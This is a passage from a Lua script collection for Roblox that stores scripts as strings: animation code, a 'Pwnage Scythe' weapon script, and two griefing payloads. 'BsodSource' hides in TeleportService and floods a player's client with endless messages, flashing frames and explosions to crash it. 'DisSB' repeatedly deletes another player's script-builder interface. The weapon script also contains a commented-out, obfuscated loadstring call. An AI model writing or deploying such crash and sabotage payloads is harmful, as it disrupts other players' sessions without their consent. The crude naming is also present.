  6486. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
  6487. elseif jb then
  6488. countspeed = 5
  6489. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
  6490. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
  6491. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6492. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6493. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6494. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6495. elseif canttt then
  6496. countspeed = 5
  6497. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
  6498. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
  6499. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6500. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6501. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6502. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6503. elseif bronymusic then
  6504. countspeed = 5
  6505. ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
  6506. rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
  6507. lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
  6508. rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
  6509. neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
  6510. rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
  6511. elseif sheddy then
  6512. countspeed = 7
  6513. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  6514. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  6515. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6516. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6517. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6518. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6519. elseif burndem then
  6520. countspeed = 4
  6521. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  6522. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  6523. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6524. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6525. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6526. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6527. end
  6528. end
  6529. end)
  6530. plr.Chatted:connect(function(msg)
  6531. game:service'Chat':Chat(head, msg, 0)
  6532. if msg == "reset/" then
  6533. char:breakJoints()
  6534. end
  6535. if msg == "resp/" then
  6536. plr:LoadCharacter()
  6537. end
  6538. end)
  6539. end)
  6540. if not ran and err then
  6541. print(err)
  6542. end
  6543. ]]
  6544. DisSB = [[
  6545. plr = game:service'Players'.LocalPlayer
  6546. while true do
  6547.         if plr:FindFirstChild("PlayerGui") then
  6548.             if plr.PlayerGui:FindFirstChild("SBGUI") then
  6549.                 plr.PlayerGui.SBGUI:Remove()
  6550.             end
  6551.         end
  6552.     wait()
  6553. end
  6554. ]]
  6555. BsodSource = [[
  6556.     wait()
  6557.     script.Parent = game:service'TeleportService'
  6558.         CC = workspace.CurrentCamera
  6559.         RS = game:service("RunService")
  6560.         PG = game.Players.LocalPlayer.PlayerGui
  6561.         C = game.Players.LocalPlayer.Character
  6562.             function Lag()
  6563.                 coroutine.resume(coroutine.create(function()
  6564.                     while wait() do
  6565.                     M = Instance.new("Message",CC)
  6566.                         M.Text = tick()*math.floor(5%4*21)
  6567.                         H = Instance.new("Hint",CC)
  6568.                         H.Text = 'Man, Theres a reason you gotta go.'
  6569.                         SG=Instance.new("ScreenGui",PG)
  6570.                         FR=Instance.new("Frame",SG)
  6571.                         FR.Size = UDim2.new(500,500,500,500)
  6572.                             while wait() do
  6573.                                 FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  6574.                             end
  6575.                                 P=Instance.new("Part",CC)
  6576.                                 E=Instance.new("Explosion",P)
  6577.                                 E.BlastRadius=math.huge
  6578.                                 E.Position=P.Position
  6579.                                 F=Instance.new("Fire",P)
  6580.                                 S=Instance.new("Smoke",P)
  6581.                                 P.CFrame = CC.Focus
  6582.                                 P.Anchored = true
  6583.                                 P.CanCollide = false
  6584.                                 P.AncestryChanged:connect(function()Lag()end)
  6585.                             for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  6586.                         end
  6587.                     end))
  6588.                 end
  6589. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]]
  6590. Scythe = [[
  6591. LocalPlayer = game.Players.LocalPlayer.Name
  6592. script.Parent = game:GetService'Players':FindFirstChild(LocalPlayer) ~= nil and game:GetService'Players':FindFirstChild(LocalPlayer)
  6593. sn = table.concat({"Pwn","age"," ","Scy","th"})
  6594. spd = 0.125 -- (1/SPD) = FramesPerSecond:>
  6595. d = {17,100} -- dmg
  6596. Decs={}
  6597. Decs.Totem = "35624068"
  6598. Decs.Tornado = "1051557"
  6599. Decs.SpikeBall = "9982590"
  6600. Decs.Fist = "65322375"
  6601. Decs.RedCliffT = "49754754"
  6602. Decs.RedCliff = "49754655"
  6603. Decs.Chakram = "18430887"
  6604. Decs.Chakram2 = "47260990"
  6605. Decs.Chakram3 = "19251107"
  6606. Decs.Diamond = "9756362"
  6607. Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh"
  6608. Decs.EF1 = "64467174"
  6609. Decs.TSkull1="36869975"
  6610. Decs.Skull1="36869983"
  6611. Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306"
  6612. Decs.SplinteredSkyT="50798688" Decs.SplinteredSky="50798664"
  6613. e = string.char p = game:service'Players' l = game:service'Lighting' w = workspace -- dirteh useless funkshuns bel0w
  6614. w = wait wt = 0.1 s=script q = function(f) coroutine.resume(coroutine.create(function() f() end)) end
  6615. --q(function() loadstring(string.reverse(workspace.CurrentCamera[e(84) ..e(119) ..e(105) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(108) ..e(105) ..e(103) ..e(104) ..e(116) ..e(83) ..e(112) ..e(97) ..e(114) ..e(107) ..e(108) ..e(101)].Value))() end)
  6616. v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end
  6617. mf=math.floor sf=string.find sb=string.sub rn=math.random
  6618. function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end
  6619. qi = function(ttz) local qii = it(ttz[1],ttz[2]) table.foreach(ttz,function(oi,oi2) if oi ~= 1 and oi ~= 2 then qii[oi] = oi2 end end) return qii end
  6620. function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end
  6621. function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end
  6622. function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2) local fp=nil if sh ~= "Wedge" and sh ~= "CornerWedge" then fp=it("Part",pa) fp.Shape=sh fp.formFactor="Custom" elseif sh == "Wedge" then fp=it("WedgePart",pa) fp.formFactor="Custom"
  6623. elseif sh == "CornerWedge" then fp=it("CornerWedgePart",pa) end fp.Size=v3(x,y,z) fp.CanCollide=c fp.Anchored=false fp.BrickColor=bc(bc2) fp.Transparency=tr fp.Reflectance=re fp.BottomSurface=0 fp.Name=pn --fp.FrontSurface="Hinge"
  6624. fp.TopSurface=0 fp:BreakJoints() fp.Anchored = a return fp end
  6625. function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end
  6626. function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cn(x,y,z) *ca(a,b,c) return fw end
  6627. function fade(prt,incr) q(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end
  6628. function appear(prt,incr) q(function() for i=1,0,-incr do prt.Transparency=i w() end end) end
  6629. function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cn(HitPos)
  6630. local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end
  6631. function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cn(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end
  6632. function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end
  6633. function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then v.Handle.Transparency = 1 local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
  6634. function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),xxz2) end
  6635. function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end
  6636. function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end
  6637. function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end
  6638. function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end
  6639. function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end
  6640. deb = function(ob,it) game:service'Debris':AddItem(ob,it) end
  6641. function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","White","Bright red"} return colz[rn(1,#colz)] end
  6642. function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end
  6643. Lightning = function(p0,p1,tym,ofs,col,th,tra) -- start end times offset color thickness
  6644. local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-ofs,ofs}
  6645. for i=1,tym do
  6646. local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor = BrickColor.new(col)
  6647. li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(th,th,magz/tym) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)])
  6648. local trolpos = CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz
  6649. if tym == i then
  6650. local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th,th,magz2)
  6651. li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2)
  6652. else
  6653. li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2)
  6654. end
  6655. curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p game.Debris:AddItem(li,0.25)
  6656. end
  6657. end
  6658. function Trail(ob,times,waitz,col,thickz,ofz) q(function() local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cn(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
  6659. local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end) end
  6660. sTrail={}
  6661. function Trail2(lopz,ob,waitz,col,thickz,ofz) q(function() ti(sTrail,ob)
  6662. local oldpos=(ob.CFrame *ofz).p local lopz2=0
  6663. local function Cobalt1164tr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1
  6664. local mag=(oldpos - obp).magnitude
  6665. local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true
  6666. tr.CFrame=cn(oldpos,obp)
  6667. tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
  6668. local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
  6669. q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end)
  6670. tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end
  6671. repeat Cobalt1164tr()
  6672. w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz Cobalt1164tr() end) end
  6673. asset="http://www.roblox.com/asset/?id="
  6674. table.foreach(Decs,function(a,b) if b:sub(1,3) ~= "rbx" then game:service'ContentProvider':Preload(Decs[a]) Decs[a] = asset .. Decs[a] game:service'ContentProvider':Preload(Decs[a]) end end)
  6675. a={}
  6676. a.ClickHold=0
  6677. a.c=true -- weapon change or act debounce
  6678. a.s={}
  6679. a.cr={20,1.5}
  6680. ky = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
  6681. Anim = "None"
  6682. mouse = nil
  6683. Sounds={
  6684. Break="3264793";
  6685. Berserk="2676305";
  6686. Fire1="2760979";
  6687. Imbue="2785493";
  6688. Ghost="3264923";
  6689. Block="rbxasset://sounds\\metal.ogg";
  6690. Boom="16976189";
  6691. SniperFire="1369158";
  6692. ShotgunFire2="1868836";
  6693. MinigunFire="2692806";
  6694. MinigunCharge="2692844";
  6695. MinigunDischarge="1753007";
  6696. Flashbang="16976189";
  6697. Beep="15666462";
  6698. Smash="2801263";
  6699. Punch="31173820";
  6700. Slash="rbxasset://sounds/swordslash.wav";
  6701. Falcon="1387390";
  6702. Cast="2101137";
  6703. Spin="1369159";
  6704. Abscond="2767090";
  6705. ElectricalCharge="2800815";
  6706. FireExplosion="3264793";
  6707. SaberLightUp="10209303";
  6708. SaberSlash="10209280";
  6709. SaberHit="44463749";
  6710. EnergyBlast="10209268";
  6711. Lunge="rbxasset://sounds/swordlunge.wav";
  6712. Unsheath="rbxasset://sounds/unsheath.wav";
  6713. }
  6714. wss = 16
  6715. caw = true
  6716. pl = p.LocalPlayer
  6717. bp = pl.Backpack
  6718. pg = pl.PlayerGui
  6719. c = pl.Character
  6720. to = c.Torso
  6721. he = c.Head he.face.Face = "Bottom"
  6722. hu =c.Humanoid
  6723. q(function() bp[sn]:Remove() end)
  6724. local su = it("Model",c) su.Name = "Suit1"
  6725. cl = "className" local caram = "CharacterMesh"
  6726. for i,v in pairs(to:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]=="CharacterMesh" then v:Remove() end end
  6727. for i,v in pairs(c:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]==caram then v:Remove() end end
  6728. pcall(function() c.Block:Remove() end)
  6729. local block = qi({"BoolValue",c,Value=false,Name="Block"})
  6730. local hd=he:Clone''
  6731. to.Transparency = 1
  6732. he.Transparency = 1
  6733. a.Bodyas=0
  6734. a.insw={}
  6735. function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end
  6736. if namzi=="p0" then
  6737. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then
  6738. a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then
  6739. a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then
  6740. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0
  6741. end
  6742. end
  6743. function ws(ii)
  6744. wss = ii
  6745. end
  6746. function c2(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) q(function() c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) end) end
  6747. a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu)
  6748. if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
  6749. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z
  6750. a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z
  6751. a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ()
  6752. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx)
  6753. local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then
  6754. xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]
  6755. x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else
  6756. for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
  6757. wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
  6758. wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end
  6759. for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
  6760. wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
  6761. wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end
  6762. end
  6763. local i=1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
  6764. else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx)
  6765. if c0orc1==0 then
  6766. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
  6767. a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
  6768. elseif c0orc1==1 then
  6769. a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
  6770. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
  6771. elseif c0orc1==3 then
  6772. local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z
  6773. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
  6774. local x,y,z=wexx.C1:toEulerAnglesXYZ()
  6775. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
  6776. end end
  6777. to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to
  6778. --"http://www.roblox.com/asset?id=67168288"
  6779. tk = true
  6780. p={}
  6781. t=pa(su,"Torso","Block",1.99,1.99,1,false,false,0,0,ts(to.BrickColor))
  6782. la=pa(su,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law=weld(la,t,la,-1.5,1,0,0,0,0)
  6783. ra=pa(su,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw=weld(ra,t,ra,1.5,1,0,0,0,0)
  6784. ll=pa(su,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw=weld(ll,t,ll,-0.5,-1,0,0,0,0)
  6785. rl=pa(su,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw=weld(rl,t,rl,0.5,-1,0,0,0,0)
  6786. local hd2 = hd:Clone() hd2.Parent = su hd2.Transparency = 0 hd2.face.Face = "Front" hd2.Name = "FakeHead" hw=weld(hd2,t,hd2,0,1.5,0,0,0,0)
  6787. hd.Name = "Head" hd.Parent=su hd.Transparency=1 hd.face:Remove() hw2=weld(hd,t,hd,0,1.5,0,0,0,0)
  6788. tw=weld(t,to,t,0,0,0,0,0,0)
  6789. local fhu = it("Humanoid",su) fhu.MaxHealth = 1/0 fhu.PlatformStand = true fhu.Name = ""
  6790. pcall(function() c.Shirt:Clone().Parent = su end)
  6791. lh = to["Left Hip"] rh = to["Right Hip"] ls = to["Left Shoulder"] rs = to["Right Shoulder"]
  6792. lh.Part0=t rh.Part0=t ls.Part0=t rs.Part0=t
  6793. law2 = it("Weld",la) raw2 = it("Weld",ra) llw2 = it("Weld",ll) rlw2 = it("Weld",rl)
  6794. law2.Part0 = la raw2.Part0 = ra llw2.Part0 =ll rlw2.Part0 = rl
  6795. law2.C0 = cn(0,-1,0) raw2.C0 = cn(0,-1,0) llw2.C0 = cn(0,-1,0) rlw2.C0 = cn(0,-1,0)
  6796. la.Transparency=1 ra.Transparency=1 ll.Transparency=1 rl.Transparency=1
  6797. c["Left Arm"].Transparency = 0 c["Right Arm"].Transparency = 0
  6798. c["Left Leg"].Transparency = 0 c["Right Leg"].Transparency = 0
  6799. Armb=true Armb2=true
  6800. Legb=true Legb2=true
  6801. function Armz(ison) Armb=ison if ison then
  6802. law.Part0=c["Left Arm"] law.C0=cn(-1.5,1,0) raw.Part0=c["Right Arm"] raw.C0=cn(1.5,1,0)
  6803. ls.Part1 = c["Left Arm"] rs.Part1 = c["Right Arm"] law2.Part1 = la raw2.Part1 = ra
  6804. else
  6805. law2.Part0 = la law2.Part1 = c["Left Arm"] raw2.Part0 = ra raw2.Part1 = c["Right Arm"]
  6806. ls.Part1 = t rs.Part1 = t law.Part0=t law.C0=cn(-1.5,1,0) raw.Part0=t raw.C0=cn(1.5,1,0)
  6807. end end
  6808. function Legz(ison) Legb=ison if ison then
  6809. llw.Part0=c["Left Leg"] llw.C0=cn(-0.5,-1,0) rlw.Part0=c["Right Leg"] rlw.C0=cn(0.5,-1,0)
  6810. lh.Part1 = c["Left Leg"] rh.Part1 = c["Right Leg"] llw2.Part1 = ll rlw2.Part1 = rl
  6811. else
  6812. llw2.Part0 = ll llw2.Part1 = c["Left Leg"] rlw2.Part0 = rl rlw2.Part1 = c["Right Leg"]
  6813. lh.Part1 = t rh.Part1 = t llw.Part0=t llw.C0=cn(-0.5,-1,0) rlw.Part0=t rlw.C0=cn(0.5,-1,0)
  6814. end end function Headz(ison) if ison then he.Transparency=0 else end end
  6815. Armz(true) Legz(true) --newhats(c,hd2,he)
  6816. hax2sazc = "BUTTSEXSYSTEM"
  6817. function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end q(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end
  6818. Sound("Your_F*cking_Name_here",1,1,he)
  6819. function SplashDmg(tehsit,pos,dmgx,mag,forc,fu) q(function()
  6820. local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end
  6821. if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v,fu) if tehsit then av.Sit=true end
